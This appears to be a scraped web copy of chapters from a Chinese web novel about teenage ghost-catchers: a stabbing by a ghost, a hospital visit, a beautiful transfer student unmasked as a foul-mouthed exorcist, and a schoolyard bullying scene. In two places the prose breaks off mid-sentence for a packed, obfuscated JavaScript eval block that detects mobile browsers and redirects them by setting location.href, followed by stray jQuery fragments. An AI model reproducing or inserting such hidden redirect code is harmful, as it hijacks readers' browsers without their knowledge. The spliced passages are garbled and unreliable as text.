它知道回家的路。
“喂!”有人在街角喊,“你家那狗跑疯啦!”
到门口,黄二小果然疯了似的扒拉门,刨门槛,一边嘴里含糊叫唤。
刚寻找秦梧无果的秦观海不耐烦地开门:“来了,来了,别那么激动!”可见到的不是自己那没大没小的儿子,也不是他常说“哪哪都跑”的那小丫头,而是几近发狂的大金毛,他有种不祥的预感。
“糟了!”
直到二十七分钟后,街口才出现了小鹊的身影。
她穿着那件捉鬼服,像是刚从水雾里走出来的,头发还有点潮,脚步带点蹦。
“咦?”她嘟囔一句,“没来接我啊。”
屋里没人应她。
“人呢?”她眨了眨眼,拧开门进屋,到厨房想找点酸黄瓜泡饭吃,结果看见秦观海的外套还挂着,鞋却没了。
“喂?秦梧?”
“老秦头?”
她终于意识到不对劲了。
外头风正急,远处的槐树叶子沙沙作响。她望了一眼天,月已经偏了。
这下真是晚了,一想就知道出什么事了。小鹊咬了咬唇角,站起身,往校门口一路追去。
她走得快,到操场边时,正撞上一车急救车亮着灯,停在跑道边上。有人在搬担架。秦梧躺在上头,脸朝上,眼睛紧闭。他肚子上扎着什么——
是根白骨。
雪白的,尖锐而细长,插进去的位置极刁钻,从右肋斜斜透过。校服洇开的暗红像朵将谢的夹竹桃。小鹊瞧见秦梧喉结动了动,沙粒混着血沫子从嘴角溢出来,在月光里凝成颗红珠。
护士手指压在他腕上,袖口红杠杠的电子表滴答走着:“还有脉,快上车。”
旗杆发出一声轻响,“当——”风从四面八方围上来,像是有什么事从地底涌出来,伸出一根手指,又被什么重重压回去。小鹊站在操场边上不动了。
“哟。”她咕哝了一句,舌尖顶出个气泡音,“这不是挺精神的吗?还出特效了。”没有哭,也没扑过去大喊大叫,只是双手抱着胳膊,站在那儿,像是个等着发作的孩子。
“你来干啥。”她听见有人说。
秦观海走过来拉住她的后脖子,像提溜只炸毛的狸花猫:“甭杵这儿,挡人抬伤员。”
“我说我路过你信不信?”
秦观海瞥她一眼,半真半假地骂:“你给我路过去,别在这添堵。”
“呦,老秦头,想撵我?”她扬了扬下巴,声音还是软的,眼神却亮,“那你可得请我喝糖水,我才走。”
秦观海嘴角一抽:“你个丫头,哪壶不开提哪壶,这会儿还有心思跟我撒泼?”
“哼,提前说好,下一场我得跟着去。”
“你跟着去干嘛?去当第二个倒霉蛋?你那水平,顶多就给人纸糊个符,遇事连头都低不下去,白送。”
“你懂什么!”她跳起来拍他胳膊一下,“再说,我不跟着去,那不就出这种事了?”
“你说得好像你去了就能变成医生似的。”秦观海哼了一声,语气却松下来,“别瞎想了,人还活着。”
“我知道。”她低头,脚尖在地上蹭来蹭去,语气闷闷的,“我一看他眼睛还在动,就知道他活着。”
“他下回要是还不听我话,我就——我就每天念给他听我小时候念错的咒。”
秦观海噗一笑:“你那咒,念给鬼听鬼都笑。”
“你笑个屁!”她回嘴,“我那是故意念的错!”
“是是是,您最聪明。”秦观海伸手揉她脑袋,“我看你脑袋是水泡着的,晚上没化完形就出来乱跑?”
她啪地拍开他的手:“你才没化完形,你全家都没化完形。”
救护车轰地一声发动了,校医和老师上了车,秦梧的担架被推进去。
小鹊望着那背影,忽然也不闹了。“他要是再出事,”她轻声说,“我就不给他带饭了。”
秦观海没说话,只低低笑了声:“你带的饭,他还真就舍不得不吃。”
3. 转学生
秦梧托着腮,有些郁闷。
医院实属无聊。自己顶着个贯穿伤,还得兼职抓被鬼上身的病友,险些掉了马甲,还得应付护士“为什么你的形象不是四五十岁的黄袍大叔?”的质疑。
无聊,无聊至极!
他正幽怨着,不料病房门“砰”地被撞开。秦梧皱着眉看过去,果然见到汤嘉维兴冲冲地冲进来,薯片袋抖得哗哗响。
“我的好兄弟!你怎么躺得跟烈士似的啊?伤哪儿了?还能说话吗?”
“……能。”
“哦,那没事儿了。”
秦梧面无表情地转过头,目光精准地锁定椅子上的秦观海——对方喝着茶,神情悠然,嘴角还隐约挂着“我就是告诉他们你在这儿了”的笑意。
他咬牙切齿,正要发作,病房门又开了。
这回不是汤嘉维,是小鹊——帆布裤管卷到膝盖,露着小腿肚,怀里抱着堆橘子。女同学钟月茹紧随其后,提着果篮,指尖绞着红绳穗子。红绳铁扣映着窗外的夕照,漾出橙红色的光斑。小鹊眨眨眼,秦观海突然咳嗽着转开保温杯——这种毫无灵气的平安绳,拴钥匙都嫌累赘。
果篮里的蛇果挨着脐橙,红黄相间煞是好看,却不及少女耳尖那抹绯色鲜亮。“我放学就来了,听说你……你伤得很严重。这个是……我在庙里求的平安绳,给你……”
小鹊凑过来看了一眼:“哇,这绳结编得巧!”
钟月茹红了脸:“我、我就是想祝他平安……”
“我懂我懂!”小鹊笑眯眯道。她说着凑近钟月茹,小声补了一句:“你送这个他其实会很高兴的,只是他脸皮薄,不好意思说。”
钟月茹抿嘴一笑,低下头没再说话。
秦梧倒吸一口气,正准备拒绝:“其实你这个红绳——”
“好东西啊。”可惜已被秦观海截胡,“小姑娘有心了,红绳辟邪护身,自古有说法。不过我看啊,林家丫头最近运气才叫差,天天遇鬼,说不定这红绳她戴上更管用。”
“我?”小鹊一愣,下意识抱紧自己那袋橘子,“我才不要!我有自己的护身符,咱互不干扰,互不抢法器。”
秦观海笑着摇头,转手又把红绳塞回秦梧手里,“那你戴着,留个念想也好。毕竟是同班同学送的,你要真不戴,太伤人心了。”
小鹊在旁边插嘴:“对呀,别人送你东西你不要,多没礼貌。你要是不戴,那就转送我吧!”
“你不是刚说你有护身符了?”
“我橘子也有一袋,但多几个不嫌多。”小鹊理直气壮。
“……你能不能别说话。”
“不能!我今天是来监督你恢复的!我可是灵异部副部长!”
“哪来的灵异部?”
“刚成立的!“她指尖沾着橘子汁,在床边的纸上画了只歪歪扭扭的貔貅,“我当部长,你当镇部神兽。”
“谁给你封的?”
“我自己!民主投票,我一票就够啦!”
“你这个伤,扎得还挺讲究。”汤嘉维蹲在他床边,啧了一声,“我猜,八成是你走在学校走廊里,路过教室,突然……啊!桌角暗算了你!”
“你能不能也闭嘴。”
“不能。”汤嘉维理直气壮,“你都病号了,我不逗你,你该多惨啊?医院这地方,消毒水的味儿都能让人抑郁。”
“我是被……算了。”秦梧话没说完,咽下去了。但这怎么说出口?难不成告诉他们,他不是被桌角磕的,是跟厉鬼正面对线,把自己捅了个对穿?
“你就说你是打架吧。”秦观海坐在窗边喝茶,像在评书,“男人嘛,有点疤才帅。”
“你爹我当年在云贵...”
"打住。"秦梧屈指弹了下输液管,液珠乱颤如算盘珠子,"上回说是湘西,上上回变秦岭了。况且我打谁?打汤嘉维?”
“哎哟可别。”汤嘉维作势往后跳一大步,“我这小身板儿,扛不了你一拳。”
秦梧翻个白眼,不说话了。
这时钟月茹在角落轻声开口:“你……真的没事吧?”她耳尖红得透亮,像浸过胭脂水的玉坠子,声如蚊蚋。
“我没事。”秦梧头也没回,语气却软了一点,“真的。”
“那就好……”她绞着果篮提手,篾条发出细碎的呻吟。光漫过睫毛,在眼底下投出小片阴翳。
“你送的红绳我戴了。”他补了一句,像是想起什么似的。
钟月茹抬头,眼睛里飞快闪过一点亮光。
“哦?”秦观海挑了挑眉,喝了口茶,“你这还是头一次戴别人送的辟邪绳吧?前两年我给你找了个高僧加持的,你说戴了扎手。”
“那玩意儿太粗了。”秦梧理直气壮,“打游戏卡手感。”不知为何,他下意识地去看小鹊的反应,但她正在乐滋滋地吃橘子。
“你这就不懂了。”汤嘉维插嘴,“细的是情谊,粗的是佛缘——你现在走的是情谊路线。”
“闭嘴吧你。”
“别老闭嘴闭嘴的,青春期男生要学会表达情绪!”汤嘉维啪一声打开薯片,“来,吃点这个补一补,虽然对肝不好,但对心情有益。”
秦观海看着秦梧笑了。“这回你吃点亏也好。”他说得慢,“该知道分寸了。”
秦梧眼神一顿,余光扫了他一眼,没说话。
秦观海不再追问。“有伤别怕疼,疼得多了,就知道怎么不再受伤了。就像这茶垢,年头久了,反倒成了防烫手的宝。”
夜色静得像水,窗帘没拉严,天边剩一点淡蓝。
病房只开了床头灯,光线斜斜落在秦梧脸侧,衬得他有点苍白。他靠着床头坐着,想碰伤口又不敢,手正痒痒。
对面的小鹊窝在陪护椅里,腿盘得乱七八糟,一边抱着手机飞快打字,一边小声嘟囔:“这人真是、骂人的时候有一百种标点……”
秦梧偏头瞥她:“你又在跟谁聊天?”
“ 双面鬼啊。”小鹊头也不抬,“上线了,还骂我是‘****踩雷的毛头崽子’,说我问题太多,问得他脑壳疼。”她把星号一个个念出来,语气倒像在念夸奖。
秦梧轻叹一声:“你就不能少缠他点?”
“不能。”小鹊哼了一声,眯起眼盯着手机屏幕,“他还说你那次能回来是‘****命大’,要搁别人早该‘骨灰冷饭一锅炖’了。”
“……这什么形容词?”
“你别管。”
小鹊闲的无聊,看着安静下来的对话框,又去发消息,还一字字念出来:“双面鬼,你睡了吗?你不许骂人,我知道你要骂。”
屏幕那头立刻跳出一串消息,满屏星号,像暴雨似的砸下来。
【你怎么还没睡***】
小鹊盯着那条信息,一本正经地转述:“他说我不睡觉会早死,还让我带你也早点滚去做梦。”
“这人脾气是不是更大了?”
“我觉得他青春期还没过完。”小鹊耸耸肩,“老是半夜上线、虐鬼、骂人、骂完又回来回你问题,搞得像个学不会人际沟通的小屁孩。”
她说得太顺口,以至于秦梧忍不住多看她一眼。
“你连青春期都还没到。”
“我比你大三岁,按魂龄算。”
“你那是狐狸年吧……”
灯光晃动,小鹊映在墙上的影子突然拉长变形,活似判官笔下的勾魂符。秦梧望着那光景,恍惚又见沙坑里的厉鬼,喉头蓦地发紧:“别嘴贫了,你问问他我下次遇到厉鬼怎么办,总不能每次被捅个对穿,叫老家伙来救场吧?”
“晚啦,我让他滚去吃饭了。”小鹊晃了晃手机,“他说:‘劳资******肚子饿了,回头再**,别***一直发我贴图,脑仁疼。’”
“你给他发了什么图?”
“你睡着时候的照片。”
“……我要生气了!”
“要我说,下回你学学黄二小,打不过就钻狗洞——哎别瞪我,这可是生存智慧!”
“我真的要生气了!”
一整打闹后,秦梧懒洋洋地后躺:“…你真的不上学了?”
“我请假条都写了,你不许反悔。”她眨眨眼,假惺惺地说,“我也是伤员家属,身心都受到了重创。”
“你不是说你一点也没受伤吗?”
“我没受外伤,但我精神受创。”小鹊仰起头叹气,“我亲眼目睹你受伤,晕血晕成八爪鱼打结,那画面我这辈子都忘不了。”
两人正站在班级门口。
清晨的教学楼一如既往。然而,事情不太对劲。
他们班的门半掩着,教室里却没人像平时那样冲过来。
门外的气氛反倒更奇怪——
“诶诶诶,那不是咱班的吗?”一个隔壁班的女生探着头扒在窗户上,跟同伴嘀嘀咕咕,“快看快看,他好帅啊——”
“是那个长发的男生吗?我刚才走廊里看到了,真的好像动漫里走出来的诶!”
“他不是原来那个年级第一吧?”
“不是,是新来的转学生!”
秦梧:“……”
小鹊鞋尖勾住他后脚跟:"里头追星呢?"话音未
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835166|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落,隔壁班女生的耳语顺着穿堂风飘来,说那转学生的发梢比墨还润,说他在花名册签名时腕骨像玉雕的。
秦梧侧头望了一眼窗户,发现自己教室里人头攒动,前排某张课桌被围得水泄不通。
“……什么鬼啊?”他嘟囔了一句,伸手推门,惊觉门板竟比往日沉三分——原是人群围得太密,顶到开不了。
“……”他沉默了,只得从后门进去。
那一瞬间,教室里原本被层层围住的声音一下子涌了出来。
“哇你的发质真的好好喔!”
“你转学来是因为搬家吗?还是因为要考我们这边的大学?”
“你家住哪里呀?是不是我们学区的?”
那团人围得太紧,谁都没注意到门开了。直到教室后排的‘周围之瞳’——她是如此自称的——的镜片反光骤亮:"呀!学神归位!"这声喊似石子入潭,叫全班才像按了暂停键一样,回头看了过来。
“秦梧!小鹊!你们回来了!”
涟漪也荡开处露出张瓷白的脸。
转学生正抚平课本折角。晨光斜切过他束发的青绳,在锁骨处投下道淡影。他——若不是秦梧瞧见他的喉结,真要以为对方是女孩子来着——长得极漂亮。鸦羽似的长发滑下来,遮住半边白玉似的脸,与两颗剔透的蓝色珠宝。
小鹊眨了眨眼。
这时,班级后排突然响起一个声音:“小鹊——!!”
来人是她的朋友陈歌苓。她拽着小鹊胳膊往人堆里挤:“你快来快来快来!我们班来了一个神颜转学生!我原本还以为你请假逃课太亏了,现在觉得你回来的时机刚刚好!!”
小鹊被拉走了。秦梧一人踩着自己的影子往座位走。
漆色斑驳的课桌沐在光瀑里,作业本在铁皮书架上站得笔直,蓝格纹椅垫上一粒灰尘也没有——值日生定是拿鸡毛掸子仔细扫过。他捏着书包带站了会儿,然后坐下。
总觉得……哪儿不对劲。
他从书包里掏出文具袋坐下,回头看了一眼热闹中心的转学生——那人像是感应到他的视线,抬起头朝这边望了一眼。那过分清亮的眸子弯了弯,算是打招呼。
不对劲…都说漂亮的人阴气会重,虽然也不过是道听途说,但眼前这人的阳气也太旺了些。恐怕别说生鬼,连怨鬼也会触到也要被灼烧几分的程度。
这人可真有捉鬼师的天赋。
秦梧回笑了一下,又很快低下头,翻起课本,心里却莫名其妙地有点、就一点点……不是很舒服。
他自己都没搞懂。
这感觉来得蹊跷。既非被厉鬼盯上的汗毛倒竖,也不像生病时的胸闷气短,倒像是…巷口的豆腐摊,青石板上留着方方正正的水痕,偏生少了那板颤巍巍的嫩豆腐。
恐怕是错觉吧?要是自己因为遇见阳气更重的人嫉妒,那也太逊了。他又往回看,恰好听到小鹊依稀在说什么“cos鬼王“,有些无语,开始翻书。
就在他进入状的时候,一串脚步声从身边飘过去。
“哇哇哇,你看他睫毛——好长啊!”陈歌苓的声音夹杂着笑意,尾音还上挑,“是不是女扮男装潜入我们学校的?”
“……”那脚步停了一下。
“开玩笑的啦!你别当真啊!”她马上拍了拍骆云影的肩,小鹊就在一旁跟着,正一边喝饮料一边睁大眼研究人家后脑勺,“你头发用的是哪款护发素?我也想试试。不是、你别走那么快,我问真的…噫——你是不是生…”
“没有。”那人轻轻地说,尾音很平。
秦梧盯着书页,耳朵却不受控制地一颤。这是什么阵容?陈歌苓他能理解,小鹊怎么也去凑热闹了?
不是才说什么“这种漂亮又安静的转学生八成不是人”来着?不是才看了那人一眼就说“像cos鬼王”来着?她不该是最警觉的吗?……怎么就这么一会儿,连人家护发素都要问上了。
秦梧没忍住,往他们那边看了一眼。正好,小鹊也朝这边望过来。两人对视,气氛一滞。
然后小鹊朝他挥了挥手,笑得轻快:“我忘了带数学课本,回头借你的啊!晚上一起吃关东煮。”她笑得毫无心事,像是又蹭吃蹭喝又蹭学习那种。
可秦梧的心思却更加乱了。
蓝黑墨水在纸上洇出个狂乱的句号。“自己拿。”声音闷得像梅雨季的旧棉絮。他忽然把练习册翻得哗啦响,开始用一种仿佛考试倒计时的速度狂抄练习册。
等脚步声远去,秦梧才发觉自己把“sinθ”抄成了“sign”,整整五行公式全错了位。
4. 掉马
那转学生果然不对劲!
秦梧第二次瞥见骆云影捏扁了矿泉水瓶。铝皮在他掌心皱成团废纸,抛物线划过半空,"咚"地撞进垃圾桶铁皮肚膛。少年后颈倏地发凉。
……这哪是文静的美人转学生?这明明是举重队选手与国家队前锋的合体好吗!
可真正让他察觉真相的,还不是这事。——是双面鬼的帖子。
看到更新时,他抱着以往彩虹屁的心态进去瞧两眼。结果才刚点进帖子,图片才刚加载完毕,秦梧的呼吸就顿了一下。
“……这地方怎么这么眼熟?”
他唇瓣微动,将照片一点点放大、再放大。
照片是从一条狭窄的巷子里拍出来的,被双面鬼揍得七零八落的鬼魂趴在阴影里。可这些都不是重点。
重点是,那巷子口正对的十字路口,那条标线新涂过、信号灯异常漫长的马路,还有画面右下角——一个模糊、灰灰的身影,站在人行道旁,低头在看手机。
……那是他自己!
——那天他听到动静的巷子里,是双面鬼在出手!
——而他看到的那个刚收起手、假装无事人一般走出来的路人……就是骆云影!
从照片的光影、时间点、以及他自己记忆里的目击细节来看,一切完美拼上了。骆云影就是自己崇拜了许久的双面鬼,而且这家伙明显在扮猪吃虎。
自动贩卖机的暖光在走廊尽头明明灭灭。秦梧盯着聊天框里小鹊的头像,拇指在发送键上方打转。女娃娃咋咋呼呼的嗓音仿佛穿透屏幕:"采访素材!活的捉鬼大神!"他几乎能看见她拽着人家袖口追问修炼秘籍的模样。
要不要说?
……不行,这种事,得靠专业人士来解决。
秦梧合上手机,深吸了一口气。
可还没等他质问,亦或是调查。好久没给他分派任务的观者再次发了消息。
秦梧换衣服的时候,小鹊还在他床上翻书。他才刚从衣柜里扯出袍子,就听她含糊不清地说:“今晚去哪个点儿?”
“一个老宅。生鬼刚想升级,估计今天是最后一天。”他把白袍拎起来, “收个尾而已,快得很。”
“哦。”她头也不抬,“你今晚不回来吃饭?”
“晚点儿。”他勾住衣领,动作利落地套了上去,“菠菜会员可以回放。”
“我把饭热着给你留着。”
“嗯。”
他背着剑出了门,夜风扑面而来,有点凉。他脚步一顿,想起什么,又摸出手机,噼里啪啦地打了几字。
【秦梧:回来不晚。别吃我布丁。】
过了两秒,对面回得慢吞吞。
【小鹊:就吃一口。】
【秦梧:你这人没救了。】
月光在废宅的断墙间淌成银溪,秦梧踩着满地黄符碎屑往宅子里挪。门框上歪斜的辟邪镜早蒙了灰,倒映出少年肆意的姿态。被人贴了这么符箓,还有网友们传得神乎其神的故事,让这儿渐渐的就没几个有胆的人敢过来了。
但秦梧是什么人?
老宅像只溃烂的兽匍匐在夜色里。秦梧的球鞋碾过碎玻璃,硌出细碎的呻吟:"臭死了….”
"这时候总该没别人了吧?”
话音未落,阁楼骤然炸开哭声。那声浪像是从陶罐里溢出的陈年老醋,酸涩里掺着霉味,激得人牙根发软。只是很快的,那阵呜咽被一声巨响所打断,就像是有什么重物掉落在了顶楼的地面。
房梁簌簌抖落的积尘里,小少年因紧张而攥紧了手中的符纸,似乎不知是遇到了什么厉害的东西。
他最终鼓起勇气上楼。木梯在脚下发出垂死的呜咽,每级台阶都似要迸出木刺。当最后一步踏上阁楼时,月光正巧穿过破洞的瓦顶,将满地爬山虎的藤蔓镀成银链。
那背影浸在月华里,长发如泼墨。秦梧捏着黄符的手蓦地发僵——少年指节一扯,那条亮银色的锁链便在顷刻间如有了生命一般散开游走,最后被他收回掌心,缠在少年的小臂。
骆云影转身。
“骆云影。” 秦梧听见自己的声音在空荡的阁楼撞出回响,“你也是捉鬼师吗?”
“嗯。”
而在秦梧要开口询问下一句话时,那人却旁若无人地与他擦肩而过。
眼看骆云影要走,秦梧终于耐不住了,转身喊停了他的脚步,又在人不耐烦的回头后,有些不确定地追问道,“双面鬼?”
骆云影偏了偏头。随后,少年忽然笑了。这笑与课间操时接过女生饮料的模样截然不同。像是撕开了人皮面具,露出底下森白的獠牙。阴阳眼开启的刹那,金芒如熔岩淌进少年瞳仁,十字星纹在虹膜上烙出灼目的痕。
“网上那个二货果然是你啊,还真是和我想象的一样,长着张不中用的脸呢。”
秦梧后撤半步。
“真是枉费老子装这么久了。”
就在这一瞬,破败阁楼的一扇木窗忽地“哐啷”一声被风掀开。
不是鬼,是另一样不请自来的存在。“秦——梧——”尾音打着旋儿。
少年浑身一僵,骆云影也顿住了脚步。
“你怎么来了?”秦梧后颈倏地绷紧,耳尖漫上薄红,显然是有些被抓包的窘迫。
小鹊笑得开心:“我可是特地来救你的。”
“可情报只说是生…”
“我乐意呀。”
骆云影耻笑一声:“原来你还有个跟班。”
“你才是跟班!”小鹊反驳,“原来你就是双面鬼?”
“你是他小女朋友?”这人大概是听了班里人的八卦,此刻正以一种“你对小娃娃都能下手”的表情挑眉。
“我才三岁!”小鹊立刻回敬,“你个成年人别对我有非分之想!”
秦梧:“你别胡说八道!”
“这位大叔,”贯彻人设的小鹊忽然仰头,妙脆角袋子哗啦作响,“打架前要不要先加固场地呀?”
这么漂亮的少年…应该…从来没被冠以这样的称呼吧…“大叔?”骆云影嗤笑出声,青筋暴起,锁链在袖中叮当相撞。
“错!是天才美少女捉鬼师!”她脚尖踢开碍事的碎砖。
“小鹊,等…”没来得及想今天青梅为何尤其嘴欠,却见小鹊已蹦到危栏边,晃着腿打量骆云影:“我之前就想说了…”她忽然眯眼凑近,“你真的好漂亮啊。”
锁链游走的寒光蓦地僵住。那句“你真的好漂亮啊”,在幽暗的阁楼里响得清清楚楚,带着毫无羞涩的坦率和理直气壮,震得骆云影阴阳眼中的金芒忽涨忽缩。
秦梧眼角一跳,一种前所未有的危机感从胃部直冲天灵盖——不是厉鬼的压迫,也不是灵力失控,而是小鹊那副真诚到欠揍的嘴脸与骆云影即将爆炸的表情组合在一起,产生了毁灭性的化学反应。`
“我说……”他伸手想拽住那人形蜜罐子,“你能不能闭——”
骆云影却像被点了穴,锁链尾梢晃了晃。他半眯着眼看着那少女,像是在确认自己是不是出现了幻听:“你说什么?”
小鹊眼神坦荡:“我说你真的好漂亮啊。”她顿了顿,“那种……带一点不太正经的漂亮。”
秦梧:“ ……”
骆云影原本扯着弧度的嘴角终于破功:“不正经?”
“不是骂你。”小鹊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835167|175640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眨了眨眼,碎屑簌簌落下:“是夸你那种一看就知道不是什么良民的帅。”
“你这是什么逻辑?”秦梧忍不住了,“你见谁帅你都夸人不是良民啊?”
“你也是啊。你看你长得也挺帅的,但你会熬夜做卷子,是很有问题的行为。”
骆云影看着他们两个一唱一和、胡说八道,一时间竟生出一种“这到底是不是我刚才在单挑鬼的废墟现场”的错觉。
再也忍不住的少年发出了一阵电报声:“两个***&¥@#%的东西,搁这儿瞎嚷嚷也不嫌丢人?我看你们是脑子被门夹了,脑仁都成瓜子酱**了吧!”
总之就这样熟识了。
月光从废弃工厂的缝隙里漏下来,叫地面上浮着碎银似的斑点。骆云影两指夹着黄符走在前面,站在颤抖的鬼面前。影子叠在墙上,活像皮影戏里走错场的角儿。
在秦梧和小鹊的一唱一和之下,骆云影勉为其难地演示一次捉鬼。
随着爆炸符飞出,眼前蓦地炸开一团银光。爆裂声倒是闷的,像老式爆米花机掀开铁盖那声"嘭",但威力却不小,把鬼炸得干净。见到两人亮了的双眼,骆云影毒舌:“你们蠢到我发笑。”
“正好我也想看看你会不会笑出褶子来,毕竟你看起来就像个高冷贵公子。”
“**&¥@,秦少爷这是打哪儿捡来的捧哏?”
“她不是——”秦梧深吸一口气,扶额,“她是我……”
“亲亲小妹!”小鹊抢先一步, “不是女朋友,不是包袱,不是童养媳!会画符会修电视遥控器…就是不会早恋的模范家属!”
秦梧炸毛:“我原只想说邻居的!” 他忽然觉得校服领口勒得慌,嗓子也劈了岔,自己都听得出来,脸“腾”地涨红了一截。——她怎么能说得那么顺嘴?不是女朋友?不是童养媳?还“亲亲”小妹?小说看多了吧?!
小鹊说得像演话剧,笑得一如既往。可他心里那点莫名其妙的躁动却是真真切切的。自己并不讨厌被人这么打趣,只要不是这种场合、不是这种语气、不是——
“你耳朵红了。”骆云影的声音懒洋洋地插进来。
秦梧的耳廓腾起火烧云。他抬手要捂,中途却拐去挠后颈。“我穿多了……热。”
“是啊,挺热的。”骆云影笑得讽刺,“尤其是你们这对‘邻居’,气氛真是烫得发昏。”
“……你闭嘴。”
“不是我多嘴。”他难得没说脏话,耸肩,“你家‘小妹’都快把你卖完了,你还遮着掖着干嘛?”
秦梧的校服下摆被攥出咸菜似的褶子:“我说了她是——”
“‘邻居’嘛。”骆云影踢开滚到脚边的轴承保持架,钢珠叮铃哐啷滚进阴影里。
小鹊却像是终于吃完了妙脆角,抖抖袋子,啪地封上口:“我小时候还尿过他床呢,亲得不能再亲。”
秦梧:“!!!”
你能不能——闭、嘴!”他声音拔高了半个八度,耳根通红得像刚出锅的虾壳。
“你自己说的‘邻居’,邻居家小妹小时候尿床不正常嘛?”小鹊眨眼,一脸无辜,“又不是你尿的。”
骆云影的笑声惊起梁间栖雀,但笑意如往常一样不达眼底:“行了,祝你保重吧。不过……你家小妹不早恋?”
“废话。”
“那你呢?”秦梧脑中“嗡”地一下:“我——”
“快点啊,”小鹊轻快地拍了拍他的后背,“还要去收拾剩下的怨气呢!就这样卡住,那你捉鬼生涯可危险了哦。”
她像什么都没听懂,也像什么都听懂了。秦梧愣了愣。
“走吧。”他说。
5. 霸凌
下午的篮球场总带点倦意。
场上正在集体游戏,一女生跑岔了方向。球骨碌碌滚出边线时,十几个少年忽然一哄而上。起哄声像油锅里溅了水,噼里啪啦爆开来。不知谁先推了第一把,女生跌坐在滚烫的塑胶跑道上,马尾辫散开半截。
“都怪她!我们要输了!”
几人一拥而上,将那犯错的女孩推倒在地,笑着、叫着、闹着,一把夺过她的手机,像踢足球似的在人群中你一脚我一脚地传递。女生哭着想捡,手机却被一脚踢得更远。
“怎么啦?难不成手机里有什么见不得人的小秘密?”
“喂喂,快打开看看,说不定有她的自拍照哎!”哭声、笑声、起哄声,像一群在夏日里聒噪乱叫的知了,裹挟着汗味和骚动,成了一场明目张胆的羞辱大戏。
骆云影的手指颤了颤,然后屈了屈。
偏生这时候炸开一声"哐"的闷响——球没进筐,倒像块顽石砸在铁皮屋顶上,可噪音的始作俑者却全然不顾众人的目光。秦梧闯入那群霸凌者中间,将那个毫无还手之力的女孩子给扶了起来。
“哟,二班秦梧要当护花使者?我劝你少管我们的事,别到时候惹火上身还要怪我没警告过你。”霸凌者将那部手机高高举起,一甩手,手机在空中划了个弧线,“啪”一声摔在了球场另一头。
小鹊正蹲在双杠底下剥橘子,闻言也凑过来。她瞧着那群人把手机当毽子踢,忽然把橘瓣塞进嘴里嘟囔:“你看他们踢键子的脚法,比国足还臭呢。”
秦梧点点头,嫌弃道:“烂透了。”
少年冷冰冰地盯着领头人,低眉俯视:“给她道歉。”
他在气头上,裤腿突然被拽了拽,低头正对上小鹊晶亮的眼。女娃子冲他眨巴两下,贱兮兮说:"秦梧!你上周摔坏的手机修好没?"她边说边往沟边蹭,白鞋有意无意踩住手机边缘,“你可不知,现在学生仔摔手机都流行碎成八瓣,这叫...叫抽象艺术!”
“可不是,我那个碎得能当万花筒使。”猜到青梅又憋了一肚子坏水,他配合。
“不过有的人手机压根不值几个钱,摔碎了倒也不心疼。反正内容也不值钱嘛,最多几张修成‘蚂蚁腰大头贴’的自拍,还有三百六十度无死角的劣质滤镜。”
那女生张口欲反驳,小鹊却仰脸笑得甜:“怎么?你也想演抽象艺术?来呀,我拍照给你传论坛首页,题目我都想好了,就叫《校园霸凌者的自画像》,挂鬼畜区,肯定火~”
这话一出,周围看热闹的同学都憋不住地低声笑了起来。
秦梧补刀:“行了,你别再加火了,她都快冒烟了。”
“哦。”小鹊吸吸鼻子,“那我闭麦,等她哭了再接麦。”
被说得面热,再加上几个穿篮球队校服的高个子也过来了。那霸凌者撂下一句“你们给我等着瞧”便匆忙跑了。
“手机还好么?”秦梧几步回到刚才那女孩子的身边,伸手替她掸了掸肩膀上沾染到的泥灰,见人红着脸颊盯着他不说话,他又不解挑眉道,“难道已经坏了?”女孩子这才猛回神似的摇了摇头道,“还能打开的,就是屏幕碎了。”
小鹊在旁边举着碎屏手机比划:“别哭呀,哭了会眼睛肿的。你看这裂纹像不像星座图?这儿是猎户座,这儿是北斗星...”被霸凌的姑娘睫毛还湿着,倒噗嗤笑出个鼻涕泡,红着眼笑了下:“谢谢你们……”
话音未落,一女同学带着体育老师风风火火赶来,老师看了一眼地上的擦伤,叹了口气,说:“这群年轻人啊,就是不学好。走吧,先去医务室。”
等人被带走,女同学,米桔,一五一十地把事情交代清楚,“那女生啊,在校外结了个男朋友,混社会的,据说打过人。年纪轻轻的,谁不图个威风?她仗着有人撑腰,话越说越硬,手越伸越长。先是占座,再是收保护费,后来连早自习迟到都要别人替她圆。反正没人敢惹她。班主任睁一只眼闭一只眼,老师也不愿惹事。”
秦梧听着听着点点头,“哦,是听上去很想报警的程度了。”
但似乎有什么不对劲…他把目光转向了角落的一人。
这人名叫王艾君,近几天转来的。快三十度下戴着的厚围巾裹住半张脸,露出的皮肤白得近乎透明,能瞧见颈侧青蓝血管像叶脉延伸进毛线经纬。她整个人像株长在背阴处的蕨类植物,连呼吸都带着潮湿的霉味。
不说话,不交交朋友,孤僻极了。此刻的阳光洋洋打在她脸上——那唇角不知何时翘成了诡异的弧度,仿佛有人用鱼线提着皮肉往上吊。更骇人的是眼睛,活脱脱吃小孩的母夜叉。
他下意识去看小鹊,正撞见那双打翻的颜料罐似的眼仁儿。
女孩倚在窗框边嚼薄荷糖,玻璃糖纸在她指间折成小船,船尖儿正对着他鼻梁。左眼皮轻轻一掀,眉梢挑得老高。她腮帮子鼓起个小包,薄荷糖从左滚到右,眼风却热辣辣扫过来——分明是逮着耗子的猫儿等着邀功。
你也看见了吧?
果然,她蹭蹭蹭地挪到他身边,凑得很近,小声说:“秦梧,我查过了。”
